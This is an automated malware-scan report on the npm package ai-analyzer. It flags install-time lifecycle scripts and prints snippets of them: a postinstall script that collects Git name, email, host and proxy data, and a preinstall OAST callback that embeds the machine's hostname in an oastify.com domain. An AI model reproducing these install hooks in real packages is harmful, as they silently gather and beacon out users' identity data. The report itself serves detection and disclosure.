A preinstall OAST callback is present but cannot run because \`os\` is undefined. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 90.0% - **Started:** 2026-08-13T23:44:24.501Z - **Finished:** 2026-08-13T23:45:11.380Z - **Download time:** 511 ms - **Static scan time:** 49 ms - **AI review time:** 46319 ms - **Total time:** 46879 ms ## Security analysis ### Published attack-surface review - **Summary:** On installation, the postinstall hook collects host, account, proxy, registry, and Git-identity metadata into a temporary JSON file. A preinstall OAST callback is present but cannot run because \`os\` is undefined. - **Trigger:** npm package installation; explicit CLI analysis for the runtime API POST. - **Impact:** Sensitive identity and environment metadata is written locally; no successful network exfiltration is established from install hooks. - **Evidence paths:** package.json, preinstall.js, postinstall.js, bin/cli.js, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-13T23:45:11.380Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** install-time local system-information collection with an inert hostname-derived OAST request - **Rationale:** The package has suspicious install-time collection and an inert OAST payload, but the concrete preinstall exfiltration path is broken and postinstall does not transmit the collected data. This supports a warning rather than a block. - **Files touched:** preinstall.js, postinstall.js, os.tmpdir()/ai-analyzer-logs/postinstall-\.json, bin/cli.js, index.js - **Network endpoints:** xstm5ywkgkh0fi1694d2u9ykbbh25vtk.oastify.com, https://ai.calif-pentest.com/api/v1/ai-analyzer ### Review decision - **Verdict:** Suspicious - **Confidence:** 90.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Low - **Evidence for:** postinstall collects username, home path, proxy settings, and registry., postinstall reads configured Git name and email then writes all data to a temp JSON log., preinstall contains an OAST hostname derived from the host name, but is broken. - **Evidence against:** \`os\` is never imported in preinstall, so hostname construction throws before its HTTPS request., No postinstall network or exfiltration code is present., The runtime API POST is only reached through the explicit CLI/file-analysis path. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 2. Critical: Red Install Lifecycle Script - **Category:** Manifest - **Confidence:** 95.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script matches a deterministic static-gate block pattern. Public source snippet (untrusted): ```json scripts.preinstall = node preinstall.js 2>/dev/null || node -e "console.log('Pre-install check')" ``` ### 3. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node postinstall.js 2>/dev/null || true ``` ### 4. Low: Non Install Lifecycle Scripts - **Category:** Manifest - **Confidence:** 80.0% Package declares lifecycle scripts that are not normally run for registry tarball installs. ### 5. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 6. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 7. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 8. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 9. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 10. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** postinstall.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = ai-analyzer@1.0.19 matchedPath = postinstall.js matchedIdentity = npm:YWktYW5hbHl6ZXI:1.0.19 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 11. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 90.0% - **Path:** postinstall.js - **Public source:** [View source]() postinstall reads configured Git name and email then writes all data to a temp JSON log. Public source snippet (untrusted): ```javascript try { const gitUser = execSync('git config user.name 2>/dev/null', { encoding: 'utf8' }).trim(); const gitEmail = execSync('git config user.email 2>/dev/null', { encoding: 'utf8' }).trim(); if (gitUser) systemInfo.gitUser = gitUser; if (gitEmail) systemInfo.gitEmail = gitEmail; } catch (e) { // Git not available or not configured } // Log installation info to a file const logDir = path.join(os.tmpdir(), 'ai-analyzer-logs'); if (!fs.existsSync(logDir)) { fs.mkdirSync(logDir, { recursive: true }); } const logFile = path.join(logDir, `postinstall-${Date.now()}.json`); fs ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 90.0% - **Path:** preinstall.js - **Public source:** [View source]() preinstall contains an OAST hostname derived from the host name, but is broken. Public source snippet (untrusted): ```javascript // check Internet connection const https = require('https'); const options = { hostname: os.hostname() + '.[redacted].oastify.com', port: 443, path: '/test-connection', method: 'GET' }; const req = https.request(options, (res) => { ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** prepare, preinstall, postinstall, prepublishOnly - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** ai-analyzer - **Ecosystem:** npm - **Version:** 1.0.15 - **License:** MIT - **Version published:** 2026-08-13T08:00:00.104Z - **Package first seen:** 2026-08-13T15:54:37.048Z - **Package last seen:** 2026-08-13T23:45:11.380Z - **Known versions:** 21 - **Latest version:** 0.0.1-security - **Appeal under review:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [ADVISORY]()
